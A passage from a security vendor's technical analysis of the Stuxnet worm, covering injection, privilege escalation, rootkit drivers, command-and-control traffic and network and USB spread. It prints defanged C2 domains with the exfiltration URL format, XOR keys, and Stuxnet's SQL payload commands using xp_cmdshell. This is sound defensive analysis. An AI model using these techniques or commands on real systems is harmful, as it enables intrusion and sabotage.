Based on the version number, the target process of injection will be determined or the injection process will fail if the threat considers the security product non-bypassable.
The potential target processes for the injection are as follows: Lsass.exe Winlogon.exe Svchost.exe The installed security product process Table 5 describes which process is used for injection depending on which security products are installed.
In ad- dition, Stuxnet will determine if it needs to use one of the two currently undisclosed privilege escalation vulner- abilities before injecting.
Then, Stuxnet executes the target process in suspended mode.
A template PE file is extracted from itself and a new section called .verif is created.
The section is made large enough so that the entry point address of the target process falls within the .verif section.
At that address in the template PE file, Stuxnet places a jump to the actual desired entry point of the injected code.
These bytes are then written to the target process and ResumeThread is called allowing the process to execute and call the injected code.
This technique may bypass security products that employ behavior-blocking.
In addition to creating the new section and patch- ing the entry point, the .stub section of the wrapper .dll file (that contains the main .dll file and configu- ration data) is mapped to the memory of the new process by means of shared sections.
So the new Table 5 Process Injection Security Product Installed Injection target KAV v1 to v7 LSASS.EXE KAV v8 to v9 KAV Process McAfee Winlogon.exe AntiVir Lsass.exe BitDefender Lsass.exe ETrust v5 to v6 Fails to Inject ETrust (Other) Lsass.exe F-Secure Lsass.exe Symantec Lsass.exe ESET NOD32 Lsass.exe Trend PC Cillin Trend Process W32.Stuxnet Dossier Page 15 Security Response process has access to the original .stub section.
When the newly injected process is resumed, the injected code unpacks the .dll file from the mapped .stub section and calls the desired export.
Instead of executing the export directly, the injected code can also be instructed to inject into another arbitrary process instead and within that secondary process execute the desired export.
Configuration Data Block The configuration data block contains all the values used to control how Stuxnet will act on a compromised com- puter.
Example fields in the configuration data can be seen in the Appendix.
When a new version of Stuxnet is created (using the main DLL plus the 90h-byte data block plus the configura- tion data), the configuration data is updated, and also a computer description block is appended to the block (encoded with a NOT XOR 0xFF).
The computer description block contains information such as computer name, domain name, OS version, and infected S7P paths.
Thus, the configuration data block can grow pretty big, larger than the initial 744 bytes.
The following is an example of the computer description block : 5.1 - 1/1/0 - 2 - 2010/09/22-15:15:47 127.0.0.1, [COMPUTER NAME] [DOMAIN NAME] [c:\a\1.
zip:\proj.s7p] The following describes each field: 5.1 - Major OS Version and Minor OS Version 1/1/0  Flags used by Stuxnet 2  Flag specifying if the computer is part of a workgroup or domain 2010/09/22-15:15:47  The time of infection.
127.0.0.1  Up to IP addresses of the compromised computer (not in the June 2009 version).
[
COMPUTER NAME]  The computer name.
[
DOMAIN NAME]  The domain or workgroup name.
[
c:\a\1.zip:\proj.s7p]  The file name of infected project file.
W32.Stuxnet Dossier Page 16 Security Response Installation Export 15 is the first export called when the .dll file is loaded for the first time.
It is responsible for checking that the threat is running on a compatible version of Windows, checking whether the computer is already infected or not, elevating the privilege of the current process to system, checking what antivirus products are installed, and what the best process to inject into is.
It then injects the .dll file into the chosen process using a unique injection technique described in the Injection Technique section and calls export 16.
The first task in export 15 is to check if the configuration data is up-to-date.
The configuration data can be stored in two locations.
Stuxnet checks which is most up-to-date and proceeds with that configuration data.
Next, Stuxnet determines if it is running on a 64-bit machine or not if the machine is 64-bit the threat exits.
At this point it also checks to see what operating system it is running on.
Stuxnet will only run on the following operating systems: Win2K WinXP Windows 2003 Vista Windows Server 2008 Windows 7 Windows Server 2008 R2 If it is not running on one of these operating systems it will exit.
Next, Stuxnet checks if it has Administrator rights on the computer.
Stuxnet wants to run with the highest privi- lege possible so that it will have permission to take whatever actions it likes on the computer.
If it does not have Administrator rights, it will execute one of the two zero-day escalation of privilege attacks described below.
Figure 10 Control flow for export 15 W32.Stuxnet Dossier Page 17 Security Response If the process already has the rights it requires it proceeds to prepare to call export 16 in the main .dll file.
It calls export 16 by using the injection techniques described in the Injection Technique section.
When the process does not have Adminstrator rights on the system it will try to attain these privileges by using one of two zero-day escalation of privilege attacks.
The attack vector used is based on the operating system of the compromised computer.
If the operating system is Windows Vista, Windows 7, or Windows Server 2008 R2 the currently undisclosed Task Scheduler Escalation of Privilege vulnerability is exploited.
If the operating system is Windows XP or Windows 2000 the Windows Win32k.sys Local Privilege Escalation vulnerability (MS10- 073) is exploited.
If exploited, both of these vulnerabilities result in the main .dll file running as a new process, either within the csrss.exe process in the case of the win32k.sys vulnerability or as a new task with Adminstrator rights in the case of the Task Scheduler vulnerability.
The code to exploit the win32k.sys vulnerability is stored in resource 250.
Details of the Task Scheduler vulner- ability currently are not released as patches are not yet available.
The Win32k.sys vulnerability is described in the Windows Win32k.sys Local Privilege Escalation vulnerability (MS10-073) section.
After export 15 completes the required checks, export 16 is called.
Export 16 is the main installer for Stuxnet.
It checks the date and the version number of the compromised com- puter decrypts, creates and installs the rootkit files and registry keys injects itself into the services.exe process to infect removable drives injects itself into the Step7 process to infect all Step 7 projects sets up the global mutexes that are used to communicate between different components and connects to the RPC server.
Export 16 first checks that the configuration data is valid, after that it checks the value NTVDM TRACE in the following registry key: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\MS-DOS Emulation Figure 11 Infection routine flow http://www.microsoft.com/technet/security/bulletin/ms10-073.mspx http://www.microsoft.com/technet/security/bulletin/ms10-073.mspx W32.Stuxnet Dossier Page 18 Security Response If this value is equal to 19790509 the threat will exit.
This is thought to be an infection marker or a do not infect marker.
If this is set correctly infection will not occur.
The value may be a random string and represent nothing, but also appears to match the format of date markers used in the threat.
As a date, the value may be May 9, 1979.
This date could be an arbitrary date, a birth date, or some other significant date.
While on May 9, 1979 a variety of historical events occured, according to Wikipedia Habib Elghanian was executed by a firing squad in Tehran sending shock waves through the closely knit Iranian Jewish community.
He was the first Jew and one of the first civilians to be executed by the new Islamic government.
This prompted the mass exodus of the once 100,000 member strong Jewish community of Iran which continues to this day.
Symantec cautions readers on drawing any attribution conclusions.
Attackers would have the natural desire to implicate another party.
Next, Stuxnet reads a date from the configuration data (offset 0x8c in the configuration data).
If the current date is later than the date in the configuration file then infection will also not occur and the threat will exit.
The date found in the current configuration file is June 24, 2012.
Stuxnet communicates between different components via global mutexes.
Stuxnet tries to create such a global mutex but first it will use SetSecurityDescriptorDacl for computers running Windows XP and also the SetSecuri- tyDescriptorSacl API for computers running Windows Vista or later to reduce the integrity levels of objects, and thus ensure no write actions are denied.
Next, Stuxnet creates 3 encrypted files.
These files are read from the .stub section of Stuxnet encrypted and written to disk, the files are: The main Stuxnet payload .dll file is saved as Oem7a.pnf1.
A 90 byte data file copied to SystemDrive\inf\mdmeric3.PNF 2.
The configuration data for Stuxnet is copied to SystemDrive\inf\mdmcpq3.PNF3.
A log file is copied to SystemDrive\inf\oem6C.PNF 4.
Then Stuxnet checks the date again to ensure the current date is before June 24, 2012.
Subsequently Stuxnet checks whether it is the latest version or if the version encrypted on disk is newer.
It does this by reading the encrypted version from the disk, decrypting it, and loading it into memory.
Once loaded Stux- net calls export 6 from the newly loaded file export 6 returns the version number of the newly loaded file from the configuration data.
In this way Stuxnet can read the version number from its own configuration data and compare it with the version number from the file on disk.
If the versions match then Stuxnet continues.
Provided that the version check passed, Stuxnet will extract, decode, and write two files from the resources sec- tion to disk.
The files are read from resource 201 and 242 and are written to disk as Mrxnet.sys and Mrxcls.
sys respectively.
These are two driver files one serves as the load point and the other is used to hide malicious files on the compromised computer and to replace the Stuxnet files on the disk if they are removed.
The mechan- ics of these two files are discussed in the Load Point and Rootkit Functionality sections respectively.
When these files are created the file time on them is changed to match the times of other files in the system directory to avoid suspicion.
Once these files have been dropped Stuxnet creates the registry entries necessary to load these files as services that will automatically run when Windows starts.
Once Stuxnet has established that the rootkit was installed correctly it creates some more global mutexes to signal that installation has occurred successfully.
Stuxnet passes control to two other exports to continue the installation and infection routines.
Firstly, it injects the payload .dll file into the services.exe process and calls export 32, which is responsible for infecting newly connected removable drives and for starting the RPC server.
Secondly, Stuxnet injects the payload .dll file into the Step7 process S7tgtopx.exe and calls export 2.
In order to succeed in this action, Stuxnet may need to kill the explorer.exe and S7tgtopx.exe processes if they are running.
Export 2 is used to infect all Step7 project files as outlined in the Step7 Project File Infection section.
From here execution of Stuxnet continues via these 2 injections and via the driver files and services that were created.
http://en.wikipedia.org/wiki/Habib_Elghanian W32.Stuxnet Dossier Page 19 Security Response Stuxnet then waits for a short while before trying to connect to the RPC server that was started by the export 32 code.
It will call function 0 to check it can successfully connect and then it makes a request to function 9 to receive some information, storing this data in a log file called oem6c.pnf.
At this time, all the default spreading and payload routines have been activated.
Windows Win32k.sys Local Privilege Escalation (MS10-073) Stuxnet exploited a 0-day vulnerability in win32k.sys, used for local privilege escalation.
The vulnerability was patched on October 12, 2010.
The vulnerability resides in code that calls a function in a function pointer table however, the index into the table is not validated properly allowing code to be called outside of the function table.
The installation routine in Export 15, extracts and executes Resource 250, which contains a DLL that invokes the local privilege escalation exploit.
The DLL contains a single exportTml_1.
The code first verifies that the execu- tion environment isnt a 64-bit system and is Windows XP or Windows 2000.
If the snsm7551.tmp file exists execution ceases, otherwise the file DF540C.tmp is created, which provides an in-work marker.
Next, win32k.sys is loaded into memory and the vulnerable function table pointer is found.
Next, Stuxnet will ex- amine the DWORDs that come after the function table to find a suitable DWORD to overload as a virtual address that will be called.
When passing in an overly large index into the function table, execution will transfer to code residing at one of the DWORDs after the function table.
These DWORDs are just data used elsewhere in win32k.
sys, but hijacked by Stuxnet.
For example, if the ASCII string aaaa (DWORD 0x60606060) is located after the function table, Stuxnet will allocate shellcode at address 0x60606060 and then pass in an overly large function table index that points to the DWORD aaaa (0x60606060).
Because the available space at the address (in the above example 0x60606060) may be limited, Stuxnet uses a two stage shellcode strategy.
Memory is allocated for the main shellcode and at the chosen hijacked address, Stuxnet only places a small piece of shellcode that will jump to the main shellcode.
Next, Stuxnet drops a malformed keyboard layout file into the Temp directory with the file name DFrandom.
tmp.
The malformed keyboard layout file contains a byte that will result in the overly large index into the func- tion table.
NtUserLoadKeyboardLayoutEx is called to load the malformed keyboard layout file successfully invok- ing the exploit.
The original keyboard layout is restored and then the malformed keyboard layout file is deleted.
The shellcode then loads the main Stuxnet DLL in the context of CSRSS.EXE.
W32.Stuxnet Dossier Page 20 Security Response Load Point Stuxnet drops Resource 242 MrxCls.sys via Export 16.
MrxCls is a driver digitally signed with a compromised Realtek certificate that was revoked on July 16, 2010 by Verisign.
A different version of the driver was also found signed by a different compromised digital certificate from JMicron.
Mrxcls.sys is a driver that allows Stuxnet to be executed every time an infected system boots and thus acts as the main load-point for the threat.
The driver is registered as a boot start service creating the registry key HKEY_ LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\MRxCls\ImagePath  System\drivers\mrxcls.sys and thus loading early in the Windows boot process.
The goal of the driver is to inject and execute copies of Stuxnet into specific processes.
The driver contains an encrypted data block.
After decryption, this block contains (among others) a registry key/ value pair, which is normally HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\MrxCls\Data.
The driver reads this binary value (previously set by Stuxnet during the installation process).
The value is de- crypted.
It contains a list of pairs (target process name, module to inject): services.exe   Windir\inf\oem7A.PNF S7tgtopx.exe   Windir\inf\oem7A.PNF CCProjectMgr.exe   Windir\inf\oem7A.PNF explorer.exe   Windir\inf\oem7m.
PNF The services.exe, s7tgtopx.exe (Simatic manager) and CCProjectMgr.exe (WinCC project manager) will be inject- ed with oem7a.pnf, which is a copy of the main Stuxnet dll.
Once injected, Stuxnet executes on the compromised computer.
Explorer.exe is injected with oem7m.pnf, an unknown file, which does not appear to be dropped by Stuxnet.
W32.Stuxnet Dossier Page 21 Security Response Command and Control After the threat has installed itself, dropped its files, and gathered some information about the system it con- tacts the command and control server on port 80 and sends some basic information about the compromised computer to the attacker via HTTP.
Two command and control servers have been used in known samples: www[.]mypremierfutbol[.
]com www[.]todaysfutbol[.
]com The two URLs above previously pointed to servers in Malaysia and Denmark however they have since been redirected to prevent the attackers from controlling any compromised computers.
The threat has the capability to update itself with new command and control domains, but we have not seen any files with updated configu- rations as yet.
A configuration file named Windir\inf\mdmcpq3.PNF is read and the updated configuration information from that file is written to the main dll and the checksum of the dll is recalculated to ensure it is still correct.
System data is gathered by export 28 and consists of the following information in the following format: Part 1: 0x00 byte  1, fixed value 0x01 byte  from Configuration Data (at offset 14h) 0x02 byte  OS major version 0x03 byte  OS minor version 0x04 byte  OS service pack major version 0x05 byte  size of part 1 of payload 0x06 byte  unused, 0 0x07 byte  unused, 0 0x08 dword  from C. Data (at offset 10h, Sequence ID) 0x0C word  unknown 0x0E word  OS suite mask 0x10 byte  unused, 0 0x11 byte  flags 0x12 string  computer name, null-terminated 0xXX string  domain name, null-terminated Part 2, following part 1: 0x00 dword  IP address of interface 1, if any 0x04 dword  IP address of interface 2, if any 0x08 dword  IP address of interface 3, if any 0x0C dword  from Configuration Data (at offset 9Ch) 0x10 byte  unused, 0 0x11 string  copy of S7P string from C. Data (418h) Note that the payload contains the machine and domain name, as well as OS information.
The flags at offset 11h have the 4th bit set if at least one of the two registry values is found: HKEY_LOCAL_MACHINE\Software\Siemens\Step7, value: STEP7_Version HKEY_LOCAL_MACHINE\Software\Siemens\WinCC\Setup, value: Version This informs the attackers if the machine is running the targeted ICS programming software Siemens Step7 or WinCC.
The payload data is then XOR-ed with the byte value 0xFF.
After the data is gathered, export 29 will then be executed (using the previously mentioned injection technique) to send the payload to a target server.
The target process can be an existing Internet Explorer process (iexplore.
exe), by default or if no iexplore.exe process is found the target browser process will be determined by examining W32.Stuxnet Dossier Page 22 Security Response the registry key HKEY_CLASSES_ROOT\HTTP\SHELL\OPEN\COMMAND.
A browser process is then created and injected to run Export 29.
Export 29 is used to send the above information to one of the malicious Stuxnet servers specified in the Con- figuration Data block.
First, one of the two below legitimate web servers referenced in the Configuration Data block are queried, to test network connectivity: www.windowsupdate.com www.msn.com If the test passes, the network packet is built.
It has the following format: 0x00 dword  1, fixed value 0x04 clsid  unknown 0x14 byte[6]  unknown 0x1A dword  IP address of main interface 0x1E byte[size] payload The payload is then XOR-ed with a static 31-byte long byte string found inside Stuxnet: 0x67, 0xA9, 0x6E, 0x28, 0x90, 0x0D, 0x58, 0xD6, 0xA4, 0x5D, 0xE2, 0x72, 0x66, 0xC0, 0x4A, 0x57, 0x88, 0x5A, 0xB0, 0x5C, 0x6E, 0x45, 0x56, 0x1A, 0xBD, 0x7C, 0x71, 0x5E, 0x42, 0xE4, 0xC1 The result is  hexified  (in order to transform binary data to an ascii string).
For instance, the sequence of bytes (0x12, 0x34) becomes the string 1234.
The payload is then sent to one of the two aforementioned URLs, as the data parameter.
For example: [http://]www.mypremierfutbol.com/index.php?data1234...
Using the HTTP protocol as well as pure ASCII parameters is a common way by malware (and legitimate applica- tions for that matter) to bypass corporate firewall blocking rules.
The malicious Stuxnet server processes the query and may send a response to the client.
The response payload is located in the HTTP Content section.
Contrary to the payload sent by the client, it is pure binary data.
How- ever, it is encrypted with the following static 31-byte long XOR key: 0xF1, 0x17, 0xFA, 0x1C, 0xE2, 0x33, 0xC1, 0xD7, 0xBB, 0x77, 0x26, 0xC0, 0xE4, 0x96, 0x15, 0xC4, 0x62, 0x2E, 0x2D, 0x18, 0x95, 0xF0, 0xD8, 0xAD, 0x4B, 0x23, 0xBA, 0xDC, 0x4F, 0xD7, 0x0C The decrypted server response has the following format: 0x00 dword  payload module size (n) 0x04 byte  command byte, can be 0 or 1 0x05 byte[n]  payload module (Windows executable) Depending on the command byte, the payload module is either loaded in the current process, or in a separate process via RPC.
Then, the payload modules export 1 is executed.
This feature gave Stuxnet backdoor functionality, as it had the possibility (before the futbol domains were blocked) to upload and run any code on an infected machine.
At the time of writing no additional executables were detected as being sent by the attackers, but this method likely allowed them to download and execute ad- ditional tools or deliver updated versions of Stuxnet.
W32.Stuxnet Dossier Page 23 Security Response Figure 12 Command and Control W32.Stuxnet Dossier Page 24 Security Response Windows Rootkit Functionality Stuxnet has the ability to hide copies of its files copied to removable drives.
This prevents users from noticing that their removable drive is infected before sharing the removable drive to another party and also prevents those users from realizing the recently inserted removable drive was the source of infection.
Stuxnet via Export 16 extracts Resource 201 as MrxNet.sys.
The driver is registered as a service creating the fol- lowing registry entry: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\MRxNet\ImagePath  System\drivers\ mrxnet.sys The driver file is a digitally signed with a legitimate Realtek digital certificate.
The certificate was confirmed as compromised and revoked on July 16, 2010 by Verisign.
The driver scans the following filesystem driver objects: \FileSystem\ntfs \FileSystem\fastfat \FileSystem\cdfs A new device object is created by Stuxnet and attached to the device chain for each device object managed by these driver objects.
The MrxNet.sys driver will manage this driver object.
By inserting such objects, Stuxnet is able to intercept IRP requests (example: writes, reads, to devices NTFS, FAT or CD-ROM devices).
The driver also registers to a filesystem registration callback routine in order to hook newly created filesystem objects on the fly.
The driver monitors directory control IRPs, in particular directory query notifications.
Such IRPs are sent to the device when a user program is browsing a directory, and requests the list of files it contains for instance.
Two types of files will be filtered out from a query directory result: Files with a .LNK extension having a size of 4,171 bytes.
Files named WTR[FOUR NUMBERS].TMP, whose size is between 4Kb and 8Mb the sum of the four numbers modulo 10 is null.
For example, 4132100 mod 10 These filters hide the files used by Stuxnet to spread through removable drives, including: Copy of Copy of Copy of Copy of Shortcut to.lnk Copy of Copy of Copy of Shortcut to.lnk Copy of Copy of Shortcut to.lnk Copy of Shortcut to.lnk wtr4132.tmp wtr4141.tmp In the driver file, the project path b:\myrtus\src\objfre_w2k_x86\i386 \guava.pdb was not removed.
Guavas are plants in the myrtle (myrtus) family genus.
The string could have no significant meaning however, a variety of interpretations have been discussed.
Myrtus could be MyRTUs.
RTU stands for remote terminal unit and are similar to a PLC and, in some environments, used as a synonym for PLCs.
In addition, according to Wiki- pedia, Esther was originally named Hadassah.
Hadassah means myrtle in Hebrew.
Esther learned of a plot to assassinate the king and told the king of Hamans plan to massacre all Jews in the Persian Empire...The Jews went on to kill only their would-be executioners.
Symantec cautions readers on drawing any attribution conclu- sions.
Attackers would have the natural desire to implicate another party.
W32.Stuxnet Dossier Page 25 Security Response Stuxnet Propagation Methods Stuxnet has the ability to propogate using a variety of methods.
Stuxnet propagates by infecting removable drives and also by copying itself over the network using a variety of means, including two exploits.
In addition, Stuxnet propagates by copying itself to Step 7 projects using a technique that causes Stuxnet to auto-execute when opening the project.
The following sections describe the network, removable drive, and Step 7 project propagation routines.
Network propagation routines Export 22 is responsible for the majority of the network propagation routines that Stuxnet uses.
This export builds a Network Action class that contains 5 subclasses.
Each subclass is responsible for a different method of infecting a remote host.
The functions of the 5 subclasses are: Peer-to-peer communication and updates Infecting WinCC machines via a hardcoded database server password Propagating through network shares Propagating through the MS10-061 Print Spooler Zero-Day Vulnerability Propagating through the MS08-067 Windows Server Service Vulnerability Each of these classes is discussed in more detail below.
Peer-to-peer communication The P2P component works by installing an RPC server and client.
When the threat infects a computer it starts the RPC server and listens for connections.
Any other compromised computer on the network can connect to the RPC server and ask what version of the threat is installed on the remote computer.
If the remote version is newer then the local computer will make a request for the new version and will update itself with that.
If the remote version is older the local computer will prepare a copy of itself and send it to the remote computer so that it can update itself.
In this way an update can be introduced to any compromised com- puter on a network and it will eventually spread to all other compromised computers.
All of the P2P requests take place over RPC as outlined below.
The RPC server offers the following routines.
(
Note that RPC methods 7, 8, 9 are not used by Stuxnet.)
0: Returns the version number of Stuxnet installed 1: Receive an .exe file and execute it (through injection) 2: Load module and executed export 3: Inject code into lsass.exe and run it 4: Builds the latest version of Stuxnet and sends to compromised computer 5: Create process 6: Read file 7: Drop file 8: Delete file 9: Write data records Figure 13 Example of an old client requesting latest version of Stuxnet via P2P W32.Stuxnet Dossier Page 26 Security Response The RPC client makes the following requests: Call RPC function 0 to get remote version number.1.
Check if remote version number is newer than local version number.2.
If remote version number is newer then: 3.
1.
Call RPC function 4 to request latest Stuxnet exe 2.
Receive the latest version of Stuxnet 3.
Install it locally (via process injection) If the remote version number is older then: 4.
1.
Prepare a standalone .exe file of the local Stuxnet version.
2.
Send the .exe file to the remote computer by calling RPC function 1.
When trying to connect to a remote RPC server this class uses the following logic.
It will attempt to call RPC function 0 on each of the following bindings in turn, if any RPC call succeeds then Stuxnet proceeds with that binding: ncacn_ip_tcp:IPADDR[135]1.
ncacn_np:IPADDR[\\pipe\\ntsvcs]2.
ncacn_np:IPADDR[\\pipe\\browser]3.
It will then try to impersonate the anonymous token and try the following binding: ncacn_np:IPADDR[\\pipe\\browser]4.
It then reverts to its own token and finally tries to enumerate through the service control manager (SCM) looking for any other bindings that may be available: ncacn_ip_tcp:IPADDR (searches in the SCM for available services)5.
If any of the above bindings respond correctly to RPC function 0 then Stuxnet has found a remote compromised computer.
RPC function 0 returns the version number of the remote Stuxnet infection.
Based on this version number Stuxnet will either send a copy of itself to the remote computer or it will request a copy of the latest ver- sion from the remote computer and install it.
RPC function 1 is called in order to receive the latest version from the remote computer and RPC function 4 is called to send the latest version of Stuxnet to the remote computer.
Of course Stuxnet does not simply execute the received executable.
Instead, it injects it into a chosen process and executes it that way as outlined in the Injection Technique section.
Furthermore, Stuxnet is actually a .dll file so in order to send an executable version of itself to the attacker Stuxnet must first build an executable version of itself.
It does this by reading in a template .exe from resource 210 and populating it with all of the addition detail that is needed to make an executable version of the currently installed Stuxnet version, including the latest configuration data and information about the currently compro- mised computer.
Because the peer-to-peer mechanism occurs through RPC, it is unlikely as an alternative method of command and control as RPC generally is only effective within a local area network (LAN).
The purpose of the peer-to-peer mechanism is likely to allow the attackers to reach computers that do not have outbound access to the general Internet, but can communicate with other computers on the LAN that have been infected and are able to contact the command and control servers.
Infecting WinCC computers This class is responsible for connecting to a remote server running the WinCC database software.
When it finds a system running this software it connects to the database server using a password that is hardcoded within the WinCC software.
Once it has connected it performs two actions.
First, Stuxnet sends malicious SQL code to the database that allows a version of Stuxnet to be transferred to the computer running the WinCC software and executes it, thereby infecting the computer that is running the WinCC database.
Second, Stuxnet modifies an existing view adding code that is executed each time the view is accessed.
W32.Stuxnet Dossier Page 27 Security Response After sending an SQL configuration query, Stuxnet sends an SQL statement that creates a table and inserts a binary value into the table.
The binary value is a hex string representation of the main Stuxnet DLL as an execut- able file (formed using resource 210) and an updated configuration data block.
CREATE TABLE sysbinlog ( abin image ) INSERT INTO sysbinlog VALUES(0x) If successful, Stuxnet uses OLE Automation Stored Procedures to write itself from the database to disk as UserProfile\sql[RANDOM VALUE].dbi.
The file is then added as a stored procedure and executed.
SET ainf  aind  \\sql05x.dbi EXEC sp _ addextendedproc sp _ dumpdbilog, ainf EXEC sp _ dumpdbilog The stored procedure is then deleted and the main DLL file is also deleted.
Once running locally on a computer with WinCC installed, Stuxnet will also save a .cab file derived from resource 203 on the computer as GracS\cc_tlg7.sav.
The .cab file contains a bootstrap DLL meant to load the main Stux- net DLL, located in GracS\cc_alg.sav.
Next, Stuxnet will then modify a view to reload itself.
Stuxnet modifies the MCPVREADVARPERCON view to parse the syscomments.text field for additional SQL code to execute.
The SQL code stored in syscomments.text is placed between the markers CC-SP and --.
In particular, Stuxnet will store and execute SQL code that will extract and execute Stuxnet from the saved CAB file using xp_cmdshell.
set tleft(t,len(t)-charindex(\\,reverse(t)))\GraCS\cc _ tlg7.sav set s  master..xp _ cmdshell extrac32 /y t tx exec(s) Then, the extracted DLL will be added as a stored procedure, executed, and deleted.
This allows Stuxnet to ex- ecute itself and ensure it remains resident.
Propagation through network shares Stuxnet also can spread to available network shares through either a scheduled job or using Windows Manage- ment Instrumentation (WMI).
Stuxnet will enumerate all user accounts of the computer and the domain, and try all available network resourc- es either using the users credential token or using WMI operations with the explorer.exe token in order to copy itself and execute on the remote share.
Stuxnet will determine if the ADMIN share is accessible to build the share name of the main drive (e.g.
: C).
An executable is built using resource 210 and customized with the main DLL code and the latest configuration data block.
After enumerating the directories of the network resource, the executable is copied as a random file name in the form DEFRAG[RANDLNT].tmp.
Next, a network job is scheduled to execute the file two minutes after infec- tion.
The same process occurs except using WMI with the explorer.exe token instead of using the users credential token.
MS10-061 Print Spooler zero-day vulnerability This is the zero day Print Spooler vulnerability patched by Microsoft in MS10-061.
Although at first it was thought that this was a privately found/disclosed vulnerability, it was later discovered that this vulnerability was actually first released in the 2009-4 edition of the security magazine Hakin9 and had been public since that time, but had not been seen to be used in the wild.
http://www.microsoft.com/technet/security/bulletin/ms10-061.mspx W32.Stuxnet Dossier Page 28 Security Response This vulnerability allows a file to be written to the System folder of vulnerable machines.
The actual code to carry out the attack is stored in resource 222 this export loads the DLL stored in that resource and prepares the parameters needed to execute the attack, namely an IP address and a copy of the worm, and then calls export one from the loaded DLL.
Using this information, Stuxnet is able to copy itself to remote computers as Sys- tem\winsta.exe through the Printer Spooler, and then execute itself.
Winsta.exe may contain multiple copies of Stuxnet and grow abnormally large.
Stuxnet will only attempt to use MS10-061 if the current date is before June 1, 2011.
MS08-067 Windows Server Service vulnerability In addition, Stuxnet also exploits MS08-067, which is the same vulnerability utilized by W32.Downadup.
MS08- 067 can be exploited by connecting over SMB and sending a malformed path string that allows arbitrary execu- tion.
Stuxnet uses this vulnerability to copy itself to unpatched remote computers.
Stuxnet will verify the following conditions before exploiting MS08-67: The current date must be before January 1, 2030 Antivirus definitions for a variety of antivirus products dated before January 1, 2009 Kernel32.dll and Netapi32.dll timestamps after October 12, 2008 (before patch day) http://www.microsoft.com/technet/security/bulletin/ms08-067.mspx http://www.symantec.com/security_response/writeup.jsp?docid2008-112203-2408-99 W32.Stuxnet Dossier Page 29 Security Response Removable drive propagation One of the main propagation methods Stuxnet uses is to copy itself to inserted removable drives.
Industrial control systems are commonly programmed by a Windows computer that is non-networked and operators often exchange data with other computers using removable drives.
Stuxnet used two methods to spread to and from removable drivesone method using a vulnerability that allowed auto-execution when viewing the removable drive and the other using an autorun.inf file.
LNK Vulnerability (CVE-2010-2568) Stuxnet will copy itself and its supporting files to available removable drives any time a removable drive is inserted, and has the ability to do so if specifically instructed.
The removable-drive copying is implemented by exports 1, 19, and 32.
Export 19 must be called by other code and then it performs the copying routine immedi- ately.
Exports 1 and 32 both register routines to wait until a removable drive is inserted.
The exports that cause replication to removable drives will also remove infections on the removable drives, depending on a configura- tion value stored in the configuration data block.
Different circumstances will cause Stuxnet to remove the files from an infected removable drive.
For example, once the removable drive has infected three computers, the files on the removable drive will be deleted.
If called from Export 1 or 32, Stuxnet will first verify it is running within services.exe, and determines which version of Windows it is running on.
Next, it creates a new hidden window with the class name AFX64c313 that waits for a removable drive to be inserted (via the WM_DEVICECHANGE message), verifies it contains a logical volume (has a type of DBT_DEVTYP_VOLUME), and is a removable drive (has a drive type of DEVICE_REMOV- ABLE).
Before infecting the drive, the current time must be before June 24, 2012.
Next, Stuxnet determines the drive letter of the newly inserted drive and reads in the configuration data to de- termine if it should remove itself from the removable drive or copy itself to the removable drive.
When removing itself, it deletes the following files: DriveLetter\WTR4132.tmp DriveLetter\WTR4141.tmp DriveLetter\Copy of Shortcut to.lnk DriveLetter\Copy of Copy of Shortcut to.lnk DriveLetter\Copy of Copy of Copy of Shortcut to.lnk DriveLetter\Copy of Copy of Copy of Copy of Shortcut to.lnk If the removable drive should be infected, the drive is first checked to see if it is suitable, checking the following conditions: The drive was not just infected, determined by the current time.
The configuration flag to infect removable drives must be set, otherwise infections occur depending on the date, but this is not set by default.
The infection is less than 21 days old.
The drive has at least 5MB of free space.
The drive has at least 3 files.
If these conditions are met, the following files are created: DriveLetter\WTR4132.tmp (500Kb) (This file contains Stuxnets main DLL in the stub section and is derived from Resource 210.)
DriveLetter\WTR4141.tmp (25Kb) (This file loads WTR4132.tmp and is built from Resource 241.)
DriveLetter\Copy of Shortcut to.lnk DriveLetter\Copy of Copy of Shortcut to.lnk DriveLetter\Copy of Copy of Copy of Shortcut to.lnk DriveLetter\Copy of Copy of Copy of Copy of Shortcut to.lnk W32.Stuxnet Dossier Page 30 Security Response The .lnk files are created using Resource 240 as a template and four are needed as each specifically targets one or more different versions of Windows including Windows 2000, Windows XP, Windows Server 2003, Windows Vista, and Windows 7.
The .lnk files contain an exploit that will automatically execute WTR4141.tmp when sim- ply viewing the folder.
WTR4141.tmp then loads WTR4132.tmp, but before doing so, it attempts to hide the files on the removable drive.
Hiding the files on the removable drive as early in the infection process as possible is important for the threat since the rootkit functionality is not installed yet, as described in the Windows Rootkit Functionality sec- tion.
Thus, WTR4141.tmp implements its own less-robust technique in the meantime.
WTR4141.tmp hooks the following APIs from kernel32.dll and Ntdll.dll: From Kernel32.dll FindFirstFileW FindNextFileW FindFirstFileExW From Ntdll.dll NtQueryDirectoryFile ZwQueryDirectoryFile It replaces the original code for these functions with code that checks for files with the following properties: Files with an .lnk extension having a size of 4,171 bytes.
Files named WTRxxxx.
TMP, sized between 4Kb and 8 Mb, where xxxx is: 4 decimal digits.
(
wtr4132.tmp) The sum of these digits modulo 10 is null.
(
Example: 4132100 mod 10) If a request is made to list a file with the above properties, the response from these APIs is altered to state that the file does not exist, thereby hiding all files with these properties.
After the DLL APIs are hooked, WTR4132.tmp is loaded.
To load a .dll file normally, a program calls the Load- Library API with the file name of the .dll file to be loaded into memory.
W32.Stuxnet uses a different approach, not just in the first .dll file but in several different parts of the code.
This method is described in the Bypassing Behavior Blocking When Loading DLLs section.
WTR4132.tmp contains the main Stuxnet DLL in the .stub section.
This is extracted into memory and then Export 15 of the DLL is called execut- ing the installation of Stuxnet.
Export 15 is described in the Installa- tion section.
The diagram to the right describes the execution flow.
Figure 14 USB Execution Flow W32.Stuxnet Dossier Page 31 Security Response AutoRun.
Inf Previous versions of Stuxnet did not use the LNK 0-day exploit, but instead spread via an autorun.inf file.
Re- source 207 is a 500kb file that was only present in the older version of Stuxnet, and was removed in the new version.
An autorun.inf file is a configuration file placed on removable drives that instructs Windows to automatically ex- ecute a file on the removable drive when the drive is inserted.
Typically, one would place the autorun.inf file and executable in the root directory of the drive.
However, Stuxnet uses a single file.
Resource 207 is an executable file and also contains a correctly formatted autorun.inf data section at the end.
